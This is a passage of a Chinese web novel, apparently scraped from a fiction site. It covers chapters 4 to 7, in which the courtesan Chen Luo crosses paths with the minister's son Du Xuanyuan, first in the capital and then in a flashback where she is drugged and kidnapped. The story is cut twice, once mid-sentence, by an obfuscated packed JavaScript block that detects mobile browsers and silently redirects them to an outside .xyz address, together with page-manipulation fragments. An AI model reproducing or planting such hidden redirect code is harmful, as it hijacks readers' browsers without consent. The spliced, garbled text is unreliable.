直到杜玄渊和属下的脚步声消失在雅间之外，陈荦才吐了一口气。她也不是不难堪，只不过强装镇定罢了。她和云娘都是歌妓，强颜欢笑是练出来的本领，刚才那种境地，根本也算不得什么。 云娘走过来挽住陈荦的手臂，“你认识他？” 陈荦摇头：“不认识，就是看他像是有钱人，想给你进项。云娘，春寒还未褪尽，你去裁身厚裙装吧。” 云娘眼睛湿润：“多谢你，明日我就去裁衣，这玉佩的钱，我们一人一半好么？”一时云娘又有些担忧：“这玉佩，好像很是贵重，他不会遣人来要回去吧？” “怎么会？”陈荦从前认识的杜玄渊倒不是这么小气的人，哪有送人东西过后要回的。“我夫君府里吃穿不愁，我不需要这个。你收好了，别让你那馆主姨娘看见！” “可我看他好像不高兴，他好像很讨厌我。” 陈荦没好答云娘的话。她默默心道，他讨厌的人可不是你。 她今日之举，定然勾起了杜玄渊某些回忆，以后更讨厌她了。不过她不用太在乎，郭岳很快便要离京回苍梧，日后不知还有没有机会再来平都。节帅府中的歌妓还有不少，或许郭岳下次来京述职就不带她了。 4. 第四章 如今平都城中的局势，好似一条行走在峡谷的船。水上船身看似平稳，水底下则暗流汹涌，不知何时就会触礁。 天子卧病，太子被牵扯进命案，被迫闲居东宫。朝中政事悉数交给两个人裁决，春秋正盛的独孤皇后和宰相杜玠，两人一内一外，形成了微妙的平衡。不久前，杜玠和御史台上表奏请太子监国，卧病的天子却迟迟未表态。 天子不能视事，杜玠每日留在中枢的时间陡增。每每晨光熹微杜玄渊还在西院早练时便听到马车出门的声音，直到更深漏尽，杜玠才回府中来。和杜玄渊聊两句，还要在灯下忙碌许久。 杜玄渊看着父亲在灯下处理公务的身影，自己更加闲不下来。 三年前，杜玄渊的身体曾遭受重创，一条左腿和拿剑的右手一度筋骨断裂。回到京中，杜玠延请天下名医精心将养了一年多，才让他恢复如常人一样站立行走。此后杜玄渊每日花三倍的时间来恢复武力，到现在，他也并不确定自己能不能赶得上三年前。 可今夜，杜玄渊从杜玠的书房离开，决定冒一次险，夜探檀胜坊郭府。 ———— 子时已过，平都城街巷间灯火渐次熄灭，郭府上下有好些地方却还亮着。想来是常居苍梧形成的习惯，苍梧在大宴西边，一年四季天都平都城黑得晚。 府中宿卫并不森严，杜玄渊沿着院墙几次起落，很快便找到了郭岳起居的院子。只见郭岳带着个管家模样的人，离开书房往北侧一个院落走去。 杜玄渊等了半个时辰，等到四下寂静，灯火熄灭，便从院墙处跃到屋檐处，用他在军中学到的方法进入了书房。他在书房内找了许久，果然真的找到了几封京中朝臣寄到苍梧节帅府的信。他找个背光处晃亮火折，匆匆看过，从中挑出窦太傅写的那一封揣进怀里。 郭岳歇宿的地方会不会有更重要的东西？ 杜玄渊悄无声息地退出书房，躲开值夜的府兵，很快便摸到北边的小院。透过半开的纱窗，看到的景象却让他大感意外。 房中亮着，寂静无半点声响。郭岳在矮榻躺着，似已熟睡，而不远处灯下有个奋笔疾书的人，竟是陈荦。 陈荦在苍梧节帅府中何时如此重要了？竟能代郭岳处理事务。尽管不想去想关于这个女人的事，眼前的景象还是不得不让他心惊。 青铜烛台，灯焰平稳，照亮方尺之地。那日在绿绮馆厮混的陈荦，此时穿一身素色窄袖中衣，悬腕落笔，笔尖飞动。 陈荦如今到底是什么人？杜玄渊在舌尖尝到一丝不易察觉的苦涩。 郭岳既宿在此处，她便是郭岳的姬妾了。除此之外呢？难道她真能凭本事，夜夜得郭岳专宠，竟让她参与一方重镇的机密事宜？ 杜玄渊隐在窗外茂密的松树间，看了许久。那灯盏一灭，他便离开树间，会合府外接应的下属，赶回了丞相府。 杜玠的书房还亮着灯。杜玄渊带着一身春夜的寒意，将怀中那封书信拿出来，父子俩在灯下参看。却无有新的发现，信确实是窦太傅所写，不过也都是新春问候之语，并无不寻常。 “郭岳镇守苍梧，已近二十年了。此人少时性浮气躁，想不到竟也能守在苍梧如此之久。” 杜玄渊问：“父亲过去和此人相识？” 杜玠点头，“相识，景曜十八年，我与他一同从家乡进京应试，他应的是武举，不过并未得中。” 杜玄渊只知道杜玠是景曜十八年殿试的一甲探花，却不知道那年也开了武举。听杜玠的语意，他和郭岳确是旧识，也不知这些年还有无来往。 “方今边藩坐大，已成朝中肘腋之患，郭岳此人……”杜玠望向窗外沉沉的夜色，眸色晦暗不明。 书房内静默许久。 杜玠说：“今春郭岳进京，要探知此人对朝廷的态度，还须与他一会。后日，你随我到神都门外长亭，摆一桌送别宴吧。” “郭岳要离京了？” 此后窦太傅的命案追查起来就更扑朔迷离了，可当前也没有什么实际的证据说明窦方的死跟苍梧有关。 “今日已向政事堂递来折子，郭岳奏请后日离京回苍梧。” “是。” ———— 神都门外春阳普照，春杏如雪。杏林间或夹杂着一两株柳树，垂柳枝条爆出嫩黄的新叶，清新柔暖，正堪相折。 路旁长亭之后有一处楼台，已被丞相府的兵丁戒严。出城的行人不得靠近此处，只远远看到楼上敞轩中有人影移动。 杜玄渊随杜玠在敞轩中静坐，少顷，楼梯处传来脚步声。两人站起相迎，只听脚步一转，郭岳穿着骑行的劲装走上楼来，精神焕发。在他身后却还跟着一个人，是郭府中侍宴的歌妓，陈荦。 杜玄渊眉头一皱，看到陈荦依旧戴着雪锻面纱，身姿庄重，默默走到角落侍立。 京中饮宴，歌僮舞女必不可少，只有杜玠的筵席例外。没想到郭岳倒不见外，带着自己的姬妾来了。 陈荦看到杜玄渊和杜玠也是暗自一惊。上天没有听到她的希望，她流年不利，临别之时又遇到杜玄渊了。这也是她第一次见到平都城执掌权柄的大人物，宰辅杜玠。杜玄渊父子俱是琨玉秋霜的长相，可两代却又截然不同。杜玠温润之间自有锋芒，杜玄渊却有九分冰冷沉静。陈荦稍看清面相之后，便将头低了下去，只看着地面，恭谨驯顺，这是她要遵守的礼数。 杜玠拱手迎客：“仲衡兄，请入座。” 郭岳还了个礼，“杜兄，贤侄，请。”却并不即刻就坐。郭岳目光被楼台下绵延数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他不该对她好奇，如此跟那些调笑品评的轻浮士子有什么不同？他是杜玄渊，事事都该如太子和杜玠一样。 让他狎妓，那是绝无可能的。 一场宴席吃到正午，杜玠率杜玄渊站在长亭处，目送郭岳上马，领着苍梧的车队往西缓缓开动。 杜玄渊无意中朝陈荦所乘的那辆马车看去，只看到她扶着侍女登上车的背影。杏花飞溅，轻纱飘起，她停了片刻，似有所回顾，不过瞬间，车帘便盖了下来。 这该是两人最后一次照面了吧？ 陈荦透过马车轻薄的绉纱，遥遥看到长亭前杜玠身后那个峻挺肃立的身影，突然感到心中一刺。杜玄渊恢复到如今的模样，花了多少心血？他也曾坠入深渊，也曾痛苦绝望过吗？ 西去苍梧山水迢迢，那时，杜玄渊也是走这条路从平都去苍梧的吗？ 5. 第五章 明明只是三年前，不知为何却好像是许久许久以前的事了。龙朔十一年，陈荦十五岁，还远远不是现在的陈荦。 一场暴雨方过，白色的雨幕像帘子一般收了起来，露出灰白的天空。方才的雨太大，此时山间到处都是水流喧哗的声音。草木葱茏的小道上，迎面走来两个互相搀扶的女子。 冒雨走了小半个时辰，两人身上衣衫已经湿透，外裳溅了半身泥点子，脚步在泥地里趔趄，显得十分力不从心。 陈荦咬牙跟在姨娘韶音身后，深一脚浅一脚地踩在泥泞里。她几乎走不动了，半个身子全赖在牵着韶音的那只手上，靠她牵着往前。 清早她们在山外的集市租了一辆马车，走到半路，马车被突如其来的暴雨限住，车夫才发现这两个女客身上没钱。茫茫雨幕中，车夫不想走空，狠心把两人赶下了车。前不着村后不着店，陈荦和姨娘不敢多留，在一块岩石下避过了雨最大的时候，便冒雨往前走了。 两人南下时也是乘车走这条路，那时是晴天，路上十分热闹。现在北行，却发现越走越荒凉。陈荦心里清楚，韶音其实不是不小心把钱袋遗失了，那是骗车夫的。她们的钱袋早就空了。韶音惯于跟三教九流打交道，三言两语便让那车夫相信她们是富户家的女眷，把她们安全送到便能领一笔赏钱。后来识破真相，才狠心将她们赶下车。 陈荦双腿沉重，鞋间又湿又硌，几乎想停下来。可韶音那双手紧紧拽着她。 “必须在天黑前走到前方的市镇，两个女人决不能在山野间露宿，会发生一切想不到的坏事！” 陈荦被韶音的话一吓，脚下陡然又生出些许力气来。可双腿再快也无法跟马车比，何况是走这么崎岖泥泞的雨路。 直到头顶出现朦胧的暮色，两人还是没能走出山间，停下来更认不出四周是哪里。她们原本以为靠一双脚，天黑前就能走到苍梧城南边的小镇，再从那里进城，就能找到认识的人帮忙，那就方便多了。韶音显然高估了两人的脚程。 正惶恐之际，突然听到不远处什么地方好像有人声传来。 陈荦还记着刚才韶音的话，第一反应是拉着韶音躲藏。韶音却无奈地想，比起被野外的豺狼吃掉，这种时候遇到人未必是坏事。 四处找寻片刻，见不远处的半山间有个破庙，人声就是从那里传来的。 韶音拉着陈荦，蹚到不远处的小溪里，交代她将身上的衣裙冲洗干净。 陈荦有些抗拒：“这么晚了，为什么还要冲洗衣裙？姨娘，该赶紧趁还有亮光，找点东西充饥才是。我看附近……” 韶音白了她一眼：“难道就这么满身泥巴让人看见？丑死了！” “天快黑了，丑一点又有什么关系？” “不！楚楚，你怎么就是不听讲？” 楚楚是陈荦的小名。 “你怎么就是记不住！我们就是冻死，就是要饭，也不能丑。你是申椒馆的小妓，这辈子要靠一张脸活着的。浑身又脏又臭，没得丢了申椒馆的招牌！” 春日雨后的山间溪流十分冰冷，韶音很快将自己的衣裙洗干净，双手往陈荦身上泼水，扯过她的裙摆仔细揉搓，直到将泥迹尽数搓去。 两人冻得牙齿打颤，瑟缩着爬上山间，发现那是一间灰扑扑的山神庙。那庙看起来年久失修，却并不小，院子和偏厢的雏形都还在。烟雾腾起，一股不知是什么食物的香味远远飘过来，勾起饥肠，在这四下无人的山间，让人忍不住想要靠近。 然而两人走到院门不远处时，却停下了。那破败矮小的庙门前，竟有人手持刀枪站在那里。这些人虽然没有穿铠甲，但站得笔直，眼神扫视四周，比苍梧城中的官兵还要严肃些。 “会是什么人？”韶音小声嘀咕。 那几人听到动静，手里的枪尖闪过寒光，警戒地看过来。 陈荦和韶音不敢再走过去。两人筋疲力尽，赶路也赶不动了，找到一堵离庙门不远处的土墙，靠在墙角歇息。 韶音捏完自己的脚，又给陈荦捏小腿。“走远路把腿走肿了得捏，要不然以后变得又肥又壮，丑死了。” 姨娘又说了一遍丑死了，陈荦没回应她，默默盘算着此时到不远处的树林里去走一趟，是更可能摘到野果还是遇到危险。又湿又冷，若不找些东西充饥，还不知道能不能撑过今晚，撑到明日赶路。 这时，庙门前突然有个声音传来：“何人在此？” 那声音不大，但自有一股威严。 韶音和陈荦心里害怕，自觉从墙角站了起来。她们看到那持枪的随从身后走出个人。那人是个青年，一身华服，手握长剑，往土墙处扫视过来，眼神犀利而戒备。 暮色四合中，陈荦站在土墙前，目光一时凝滞住了。那人长着一张好出众的脸，身姿挺拔，眉目若刻，恍然如同画上的人物……如果他不拿着那柄剑，十分不善地看着她们俩的话。 “禀中郎将，是过路的行人。” “荒郊野岭，何人从此路过？” “是两个弱女子。” 杜玄渊已向土墙处走了过来，要亲自核实。 苍梧城中也有身份很高的军官，有不少还曾是韶音的恩客，韶音对他们很熟悉，边镇军官很少有这样一张英武俊美的脸。 韶音仔细谯着，猜测这些人并非歹人，也不是暴戾的苍梧长官，便放下心来。 待杜玄渊走近，韶音便拉着陈荦蹲身福礼，用羞怯温柔的声音说道：“禀大人，我们两个是苍梧城中的良家女子，前往南边宁远镇探亲，回家途中不慎遇到强盗车夫，抢了我们两人的行李，将我们赶下马车。天色已晚，路途泥泞难行，我们无意中徒步到了这里，还望大人垂怜，准我们两个在这墙角歇息片刻，我们不会给大人添麻烦的。” 韶音声音楚楚，陈荦自小便见惯了她跟人打交道的派头，见人说人话，见鬼说鬼话，总有本事让人多信她三分。 那人道：“既是苍梧城居民，烦请将过所拿出查验。” 过，过所？ 这？陈荦站在韶音身后，这人既能屈尊对她们说个“烦请”，语气却又不容置疑。她们两人根本没有过所，从苍梧南下蜀地这一路，连过关口时都没人把守，根本没人查验过所。 陈荦急忙接过韶音的话：“我们两人的东西都放在包袱里，被强盗车夫一起抢走了，因此……没有过所。” 杜玄渊：“此路南下百里便是县城，既是出远门，怎会没有过所？” 庙门前突然又走出一人，沉声问道：“子潜，何事？” 陈荦和韶音闻声看去，那人中等身量，皮肤白皙，苍梧城中日照强烈，不会有人有这样白皙的皮肤。他穿一身锦袍，那锦袍看不出材质和样式，但有种不言自露的尊贵。举手投足间令人不敢仰视。 “兄长，有两位苍梧城中的女子路过，我正在查验，此二人身上 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韶音和陈荦住在苍梧城，但并非良家女，她们的身份是苍梧城中妓馆——申椒馆的娼家。她们也并非到南边宁远镇去探亲，她们去探的那人称不上亲。那是韶音十年前相好的恩客。韶音那时只有二十九岁，如今已经年近四十了。这十年来，她能接到的客人越来越少，心里一直对那人念念不忘。她每三年都给那人寄一笔钱，用作他去平都城考试的路费。那人屡试未中，绝了仕途之心，用韶音给的钱做生意，没想到竟有了起色，十年间挣起了一份丰厚的产业。 后来，韶音隐约听说那人娶了妻，心里又气又急。她和那人多年通信来往，情意甚笃，怎么会生变？ 韶音用这几年的积蓄置办了一身昂贵的行头。给鸨母央了假，带着陈荦路上照应，一路赶到蜀中，找到了那人的宅子。 陈荦从未在姨娘脸上看到过那样灰败的神色，厚厚的铅粉也遮不住……那是一种被骗多年后突然醒悟带来的死寂和颓丧。陈荦不懂情爱，看到韶音的神色，却忍不住想替她大哭一场。她在那瞬间突然觉得，韶音身上的某部分，从那一刻起已经死去了。 “走呀，想什么呢？” 韶音把陈荦从沉思中拽出，拽着她随那两人的脚步垮进了山神庙。庙里柴火腾出的暖流让陈荦身上一激灵。她突然后知后觉地想，她这辈子一定要避免像韶音那样，为某个人心如死灰。 破败的庙内被人清理打扫，腾出好大一块空地。燃起的柴火堆周围铺着坐毯，韶音惊讶地看到那坐毯的表面竟是上好的丝绸。庙里还有五六个随从，神色恭谨地侍候那锦袍人。 有个随从按吩咐递给她俩一张毯子，陈荦看韶音抖得厉害，便将它披在了韶音身上。那锦袍人哂笑了一声，却也并未阻止。 “给她们盛两碗热羹吧。” “是。” 汤里不知放了什么肉糜，熬煮得十分美味。陈荦和韶音将近一天水米未进，接过碗勺，只能用最后的理智保持着矜持，不在火堆前露出急色的吃相。 火光中，陈荦抬头看到那持长剑的青年人。火光映照其神色，如渊渟岳峙，却又神秘难测。见他也看过来，陈荦下意识地堆起一个笑容。申椒馆的姨娘们常教给年轻女孩最受客人喜欢的笑容，若是加上一张美貌的脸，便几乎无往不利，陈荦自六七岁便学会了。可跟陈荦想的不一样，那人对她的笑毫无反应，表情并没多少变化，片刻便漠然地移开了目光。 陈荦心里咯噔一下，是她没有学好么？为什么清嘉这么笑就能讨人喜欢，而在她这里不奏效？ 6. 第六章 韶音拉着陈荦给锦袍人行礼。“多谢大人，多谢贵客。” 山间的天色已全然暗了下来，随从递过来一张毯子，将她俩请到角落，并低声告诫不能随意走动。 ———— 韶音拽着陈荦，低声跟她说话：“楚楚，死姑娘，你干嘛一直看那年青男人？” 陈荦收回目光否认韶音：“没有一直看。” “这些男人，身份必定不一般。你信姨娘的话吗？” 陈荦：“苍梧城中的公人，随从并不如此齐整。此间主人皮肤白皙，是常年富贵荣养所致，丝绸、肉羹都不是一般人能随身携带的。还有另一位，在这破庙之中寸步不离武器，能在林中猎来野鹿，想来是武学高手了。” 韶音：“你自小就眼力厉害。这点清嘉永远赶不上你。遇到这些人，你和姨娘算是有点运气……” “运气？” 正低声说着话，一位随从捡了几支柴火过来，堆到两人面前点燃，这是专门给她们取暖的。陈荦低声给人家道谢，随从只是听着，并不出声回应。陈荦看出来了，这山间小庙虽然破败，这些人却有极大的规矩，连声音都不能随便发出。 “楚楚，我还是很饿，你可不可以，帮姨娘去跟那人再要一碗肉羹？” 陈荦疑问：“姨娘，你真的饿吗？” 韶音点头。 韶音说话从来都是真真假假，因时而变。但陈荦陪她走这一趟，看到她心如死灰的样子，便拒绝不了她。她就是提再过分的要求，陈荦都会答应的。不为别的，只是为了让她心里稍微好受点。 “姨娘，你等等，我去。” 这算是跟人乞食。但为了韶音，陈荦肯定会去。 陈荦把心一横，清嘉什么都做得好，她怎么就不能？乞食也有不同的乞法，她们这样的人，做得最好的方式是让对方心甘情愿把自己想要的东西奉上，那便完全没有乞食的羞辱了。 身上的衣裙已被熏得差不多干，陈荦穿的是一套鹅黄抹胸裙，是今年苍梧城的小娘子们最喜欢的款式，此时被庙内的暖风一吹，应该有浮动如波纹的效果吧。 她拨弄好鬓边的碎发，掏出手帕将脸擦了擦。 十五年来，陈荦被韶音保护得很好，韶音一直想尽办法把她和清嘉藏起来，躲过鸨母让年幼女子接客的催逼。所以陈荦从没有干过这样的事。 这算是她第一次……主动接近客人。 此时，穿锦袍的那位贵人已进到后间休息了，其余随从到院门处警戒，只有杜玄渊一个人留在外间火堆旁，正襟危坐。 “公子……” 陈荦的声音有点颤，只有她自己听出来了。她深呼吸几口，把这点不被人察觉的颤抖不动声色地压下去。 陈荦见他不说话，便又问道：“你，你们要去苍梧城中吗？” 杜玄渊没有立时回答，只戒备地盯着她，那目光就是在问，你有何事？ 一旦开了头，对方也不见反感，陈荦便放松下来。她自小长在申椒馆和慈幼院，看人脸色讨人喜欢这样的事情是无师自通，何况韶音和别的姨娘还手把手地教过她。 陈荦随即绽开笑容，眼波流转，将声音提起来变得娇媚，自来熟地说道：“我和姨娘也到苍梧城，真是好巧啊，你说是不是？” “你有何事？” “我没有什么事，就是谢谢你们收留我们，还有就是问问你们，是否……是否可以同行。” 陈荦一扭身子，在离杜玄渊很近的地方坐下。她有点遗憾今日没有熏香，迎接客人该熏香才对。刚刚坐下，她却突然闻到他身上有山林间松风的味道，她猜得没错，那羹的肉是此人去林间猎来的。 杜玄渊看她没事找事地靠近搭话，心里十分反感，黑着一张脸说道：“不便同行。没事就回到那边去，不许过来！” 陈荦梗着脖子，“可是，那边的柴火快要熄灭了，那里有点，有点冷。我可不可以，挨着你……坐、坐在这里。” 好好一句话，被她说得磕牙。 杜玄渊狐疑地看着凑到身边的女子。她年纪不大，像是十三四岁，身量未足，可那笑容神情却故作媚态，带着三分扭捏五分试探，让他想到朝廷王公大员宴席上扭捏得蛇一样的歌妓，还有平都城宁乐坊的那些女子。宁乐坊是京中最大的销金窟…… 杜玄渊站起来，“你真是苍梧城中的良家女？” 陈荦心里一紧，强行镇定道：“是，不敢诓骗大人。”她笑了许久，脸颊都有些僵了。 杜玄渊右手指尖一拨，“铮”地一声，剑从鞘中弹出数寸，把陈荦吓了一跳。 “不管你是什么人，入此间便不得造次，你，此刻，立即回到那边，否则……” “……” 陈荦心里刚刚堆起来的堡垒瞬间就垮了。她看出来他不会轻易动武，却也没什么心情继续下去。他那画师炫技般的脸也变得不再可爱。 她忍不住低声嘀咕：“走就走，一股霉味，臭死了。我不呆在这里了。” 申椒馆最多的除了女人，就是各种各样的香料。陈荦跟着韶音长大，日子虽然不富裕，却是泡在熏香里长大的。这破庙里虽然打扫过，但始终有股霉味，闻起来非常难受。 杜玄渊看她露出本相，凶是凶了点，却又跟出身妓家的女子不像了。 陈荦转身要走，想到韶音，却还是回过头来：“对不起，我并不是想问你们从哪儿来，要到哪儿去。我其实是，我姨娘……她身体虚弱，还想要一碗肉羹，你可以，可以多给我一碗吗？” 想到自己和韶音的钱早就花光了，靠行骗才走到这里，陈荦越说声音越小，“若是没有多余的，那就罢了……” 出师不利，这一幕通通看在韶音眼里，回去定要被她骂了。但陈荦还是逃走似的逃回角落里韶音身边，一刻都不想挨着杜玄渊了。 韶音都看在眼里，可看到陈荦逃难似地回来，她倒也没想立即数落她。庙中遇到的这几个人，身份超出了她的想象，不知是富商还是哪里来的大官，也许人家根本看不上苍梧的女子。何况是娼家…… 陈荦在韶音身边蜷腿坐下，她不服输却也不得不承认，在许多地方，她是不如清嘉的。清嘉这样一笑，人家就会听她的。陈荦第一次想试试这样的事情，却碰了满鼻子灰。 “姨娘，下次这样的事，让清嘉去做吧，我做不好。” 韶音不以为然，蹭过来搂住陈荦肩膀：“清嘉不在，我就只有你了，楚楚，你多用点心，总有你能做好的时候。” 她那母亲一样温热的掌心让陈荦对她生不起气来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956243|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我其实不知道我还能做好什么。”陈荦盯着眼前的柴火，不去看杜玄渊那边，心情一点一点沉下去。 “你再……” 一位随从走过来，打断了她们。那随从手里端着一碗方才热好的肉羹。 “给。”随从低声警告道，“食不言寝不语，你俩不得发出声音打扰我们公子，否则立刻将你们轰出庙外，听见没有？” 韶音挤挤眼睛推推陈荦：“你看，你去跟那位贵客搭话，还是有用的。”她伸手接过肉羹，“多谢官爷！” 可陈荦心里明白，这碗肉羹的施与是出于那人善意怜悯，不是出自对她怎么样。 ———— 正逢雨季，夜深时山神庙外又下起大雨，庙里却因有柴火，整夜干燥温暖。陈荦疲累已极，躺在韶音身上，枕着她的腿，沉沉地睡过去。 她许久没有做梦，今天却做了个奇怪的梦。梦里自己不知被人灌下什么东西，浑身提不起一点力气，想喊叫也睁不开嘴。在朦胧的意识中，被人绑住手脚，扔进麻袋……再往后，就彻底没了知觉。 陈荦在颠簸中醒来时，发现昨晚那一场梦到现在还没有醒。她此刻四肢被牛皮绑住，被人装在麻袋里，扛在身上，飞快地赶路。眼前一片模糊，韶音不知到哪里去了。 “姨娘……” 陈荦挣扎着一出声，扛着她的人加快了脚步。 发生了什么？ 韶音猛然惊醒过来，她们遇到歹人，被劫掠了！ 昨晚那些人竟会是山贼吗？怎么办？ 许久，陈荦被人“砰”地摔在地上，摔得髋骨生疼。麻袋被解开一个口，陈荦挣扎着钻出来，露出脑袋许久却发现眼前依旧是一片模糊。她还没反应过来，头顶不远处发出些声响，是刚才扛着她的那人出去了。 韶音呢？ “姨娘？” 不远处一声低咳让陈荦转悲为喜，她挣开绳索扑到韶音身边，“姨娘你受伤了吗？” 韶音从昏迷中醒过来，听到陈荦的声音，急忙也扑过来检查她有无受伤。所幸，她们两人除了身上骨头有些痛，都没有受伤。 “这，这是哪里？” “这里从头顶关门，应该是一处地窖，姨娘，我们被人害了！什么人会把我们抓来关在这里？” 最近的仇家……两人不约而同地想到集市上那个被骗的车夫。是他要杀人越货赚回自己的马车费吗？ 头顶的板盖又被打开了，陈荦和韶音听到动静，急忙噤声缩到角落。 “砰”“砰”两声，好似有两个重物先后被推了下来，在地上砸出很大的声响。许久，扑起的浮尘落下，陈荦才勉强看清，被扔进来的好像是两个人。这两人身量比她和韶音大得多。 陈荦要说话，被韶音伸手一把捂住嘴。陈荦示意她放开，试探着向重物的方向问道：“是山神庙中的军官大人吗？” 方才她分明听到了熟悉的一声，怎么此时却没有动静了？若是山神庙的那些人，陈荦断定他们虽然不欢迎她和韶音，却不是害她们的人，否则他们也不会一起被害。 借着墙壁小孔透出的模糊的光，陈荦摸到两个麻袋旁边，等了片刻，麻袋还是一动不动。 韶音在角落里问道：“他们会不会死了？” 7. 第七章 她这一问提醒了陈荦，陈荦总觉得闻到了什么味道，让人毛骨悚然。她蹲下来，试探着去摸麻袋之下，摸到一手温热的粘稠的液体。 迟疑了片刻，陈荦猛地意识到，那是血！她吓得后跌了一步。 “已经死了？” 韶音自来不会关心死人，语意里透着事不关己的冰冷。陈荦却知道，凭借她们两个女子不可能从这个地方脱困，需要人帮忙。 陈荦深呼吸，鼓起勇气靠过去，总觉得那麻袋里还有轻微的生气，血液还在往外淌。陈荦摸索着去解麻袋，那袋口却越缠越紧。 “楚楚，你找什么？” “找东西把麻袋割破，里面的人还没死。” “关你什么事？如果不是遇到他们，我们怎么会这么倒霉？山神庙里那些男人都是灾星！” 这是蛮不讲理的嫁祸。韶音以前不是这样蛮不讲理的人，是这趟蜀中之行让她变了。陈荦复又想到那天她苍白如死人的脸色，从蜀中那个男人的宅邸离开后，韶音再没说过关于他的一句话。可这些天晚间熟睡时，陈荦却总会被她的念念叨叨吵醒。睡梦里的韶音，反复地说着些夹缠不清的话，那是她白天憋回肚子里的。 陈荦一边找一边想，回去以后一定要花更多时间陪着韶音。 她在角落里摸到一块硬物，像是农具掉落的生铁片。她心中一喜，将那铁片在壁砖上使劲嗑掉铁锈，让它露出刀口。 陈荦左手扯着麻袋，右手捏住铁片，来回使劲想把它割开。韶音嘴上念叨着倒霉，一边却又爬过来，帮陈荦扯住那袋口。 “滋”地一声，牢固的麻袋被铁片锯出一个小口，再往后就容易了，两人一起使劲将豁口割得越来越大，直到最后完全扒开。 陈荦没有听错，麻袋里装的人确实是山神庙门前两个站岗的随从，不知道为什么只有他们两位被掳到这里。她揭开两人头上的东西，发现那是不透气的树皮，若不及时揭开，这两人很快就会窒息而死。那地上一大滩粘稠的血，是从两人身上淌出来的。 韶音低头寻找一阵，看清什么之后，惊恐地捂住了嘴。 模糊的光里，她们看到，两人的右脚都被人砍断了。左腿还在，只有右脚，自脚踝处齐齐断开，血液不断涌出，脚掌不知丢在了哪里…… 韶音死命拽陈荦：“楚楚，我们走！快去开那地窖的门，我们快点逃出去。” “姨娘，他们好像还活着……” “关咱们什么事！被人这样砍断右脚，时间一长，他们也活不成了。” 刀口极大，两支脚踝处的血还在不停地淌。陈荦被韶音拉扯着，心惊肉跳。 血再这么淌下去，体内血液就会流干…… 陈荦不敢多想，用那铁片割破自己裙角，“撕拉”一声，从裙脚撕下臂长的布条，压住心里的恐惧，捆扎在其中一位的小腿处。她用上全身的力气将布条勒紧，下面的血立刻减缓了。陈荦看这方法确实能止血，又飞快地扯下一条，给另一位捆扎。 接着又将两只断了脚掌的腿由原地抬起，让血不再下流。 韶音停止了说话，在旁边静静地看着她。她有两个如同亲生的养女，陈荦和另一个女孩清嘉，十几年来，她一直按自己的方式来养她们俩。清嘉不负所望，渐渐出落成申椒馆最受追捧的小妓，娇俏妩媚，舞技出众。而陈荦却始终没有成为韶音所期待的样子。天生为娼妓，声色歌舞是最重要的本事，可陈荦……韶音想到昨晚陈荦去和人家说话时那僵硬的笑容，实在不知道这样下去，陈荦该怎样在申椒馆生存。 近来遭遇种种涌上心间，韶音失望地别开了头。 “姨娘？” “你照顾这两人吧，如果没有其他伤，能在一刻钟内止住血，便死不了。” 韶音不再说什么，自己站起来，到墙壁四周寻找出口去了。 虽然在黑暗的地窖里，陈荦还是听出来韶音对自己失望了。若是此时安全地呆在苍梧城中，韶音定然还会用她的丹寇指往陈荦脑袋上狠狠一剜，说几句不好听的话。她骂她，不是因为她救人，而是因为她总不是她想要的样子，养了十多年却又丢不开。 除了像清嘉一样，她还能成为什么样子，才能不让韶音难受失望呢？ 陈荦不知道。陈荦十五岁，在人堆中长成，已懂得许多事情。唯独这一件，她直到现在都不清楚。 不知为何，陈荦眼前忽地闪过昨晚的一个人影。她学着清嘉的样子带笑迎人，那人却不像清嘉的那些客人，只要清嘉笑着，便围在她的身边。那人恶语相向，是十足的厌恶。 陈荦将那人影从脑中挥开。 沮丧地想，先别想了。 就是韶音不喜欢，她也得救这两个人。人多才能有希望逃出去，有什么比留一条命活着更重要。 陈荦发现两人的伤口还是有少量的血往外流，又将那布条再次捆紧了许多。她这一动，其中一个随从痛苦地哼了一声，从昏迷中醒过来。 那人好半天看清地窖里的状况后，才艰难地道谢道：“小姑娘，多，多谢你……帮我们捆扎伤口，若任它这么流血，我两人，撑，撑不过一个时辰。” 他醒了，陈荦不忍心再看那被砍掉的地方。“你们，你们的脚掌……那个，你们以后……” 随从知道陈荦想说什么，然而比起右脚掌，此时他更担心的是另一件事。他们夜半遇到歹人劫杀，若是主上也遭遇了不测……传到平都城中，那时莫说他的脚掌，就是他这条命，以及族中所有人的性命，都不一定能保住。 见他不说话，陈荦又问：“为什么只有你们二人跟我和姨娘一样被抓来你此处？你们，不是有七个人么？” 陈荦指的站岗服侍的人有七个，若是算上穿着不凡的那两位，他们这一行总共有九个人。此时却不知道其他人去了哪里。 随从：“此刻我喉咙处有生涩之感，应该是失去力气时被喂进了什么东西，让我俩力气尽失，彻底昏迷。昨晚，中郎将只来得及救出其余人，顾着……我主上的安危，便先撤离了。” “昨晚歹人放了致人浑身疲软的迷烟，是吗？”直到此时，陈荦依然感到还有些昏沉，是吸入迷烟的缘故。 那人此刻恢复了知觉，痛得浑身剧烈发抖，却咬牙硬撑着保持清醒。而另一位，想是药效还没过，至今还未醒来。 “对……想不到那山间小庙附近，竟有，为非作歹之人。” “你再撑住片刻，我，我会努力想办法，定带你们出去。”虽然她心里完全没底，这么说完全是为了安慰他。她看他痛得发抖，想让他能在剧痛时好受点。 陈荦站起来要去找出口，却又想到他刚才的话，又蹲下来问道，“你方才说的中郎将，这是个人么？他既能救人，为什么不先救你们？害你们被喂药？” 